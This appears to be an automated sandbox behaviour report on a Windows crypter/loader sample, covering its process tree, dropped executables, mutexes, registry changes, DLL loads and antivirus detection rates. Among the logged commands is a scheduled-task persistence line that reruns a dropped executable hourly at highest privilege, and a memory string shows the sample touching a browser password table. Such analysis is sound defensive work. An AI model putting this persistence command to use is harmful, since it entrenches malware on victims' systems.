Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1876:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:2840:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1992:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2796
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3884:120:WilError_03

Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe

File opened: C:\Windows\system32\ac67957baa5d8bac961bbe73ad1250951f27f5252edaa4dc163b5969c95a7accAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000003.2080307538.00000000031E5000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000003.2104355772.00000000031E5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	ReversingLabs: Detection: 71%
Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Virustotal: Detection: 42%

Source: kFXFCWzZNovbPAcE4V3M4DAO.exe

String found in binary or memory: /addr_imp

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 6948 -ip 6948
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6948 -s 876
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2796 -ip 2796
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 548
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 944
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe	Process created: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp "C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp" /SL5="$30436,2863668,56832,C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\ProgramData\jewkkwnf\jewkkwnf.exe C:\ProgramData\jewkkwnf\jewkkwnf.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe	Process created: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp "C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp" /SL5="$30436,2863668,56832,C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe"
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 6948 -ip 6948
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6948 -s 876
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2796 -ip 2796
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 548
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 944
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
